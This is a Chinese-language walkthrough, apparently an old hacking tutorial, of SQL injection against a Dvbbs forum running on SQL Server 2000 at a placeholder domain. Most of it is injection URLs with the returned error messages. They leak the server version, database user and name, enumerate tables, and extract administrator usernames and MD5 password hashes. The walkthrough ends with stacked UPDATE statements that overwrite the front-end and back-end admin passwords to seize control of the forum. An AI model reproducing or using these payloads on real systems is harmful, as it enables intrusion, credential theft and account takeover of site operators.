http://www.xxx.com/type.aspid=6' 返回错误提示: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 看来已经打上最新的SP4补丁。
返回:Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。 从错误信息中得到当前数据库用户为:webuser
返回:Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。 从错误信息中得到当前数据库名为: 01city
二.得到数据库表名。不出意外的话动网的各个表就存在于当前数据库01city中。 首先得到第一个表: http://www.xxx.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))-- 返回:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'address' 转换为数据类型为 int 的列时发生语法错误。 好的,第一个表名出来了,为: address 继续, http://www.xxx.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))-- 返回: admin 第二个表名也出来了。依次类推, 提交: http://www.xxx.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address','admin',...))--
三、进入后台,取得动网论坛管理员权限。 先看看后台有多少个管理员: http://www.xxx.com/type.asp?id=6 and 4=(select count(username) from admin)-- 返回错误: 当前的记录已被删除。说明管理员少于4位。直接提交, http://www.xxx.com/type.asp?id=6 and 1=(select count(username) from admin)-- 正常显示信息,看来管理员只有一个,读出管理员名字, http://www.xxx.com/type.asp?id=(select username from admin)-- 出来了,管理员后台登陆名为: 01city 继续读出管理员后台登陆密码: http://www.xxx.com/type.asp?id=(select password from admin)-- 很顺利,密码为: e7cc01be0e33a273 是MD5加密过的。难道要去破解它吗? 别急,根本不需要去破MD5密码。 由于动网后台管理是COOKIE+SESSION认证。所以只有管理员在前台登陆才可以进后台管理,一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易,在他论坛注册一个用户查看一下管理团队,得出,前台管理用户为: admin
好,得到他的密码: http://www.xxx.com/type.asp?id=(select userpassword from user where username='admin')-- 返回,admin的前台密码为:e7cc01be0e33a273 同样是MD5的。 现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗?别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了,对 ,就是,update。 我们来提交: http://www.xxx.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin';-- 正常返回信息,应该成功执行了,查看一下: http://www.xxx.com/type.asp?id=(select userpassword from user where username='admin')-- 返回值为: 49ba59abbe56e057 更改密码成功,说明一下,这个16位MD5是预先算好的。你要知道它的明文密码。 那么同样的,我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的,提交: http://www.xxx.com/type.asp?id=6;update admin set username='admin' where username='01city'-- 查看一下: http://www.xxx.com/type.asp?id=(select username from admin)-- 更改成功,后台管理员现在已变成:admin 接下来更改密码,提交: http://www.xxx.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'-- 查看一下: http://www.xxx.com/type.asp?id=(select password from admin)-- 更改成功,后台管理员密码已经变成:49ba59abbe56e057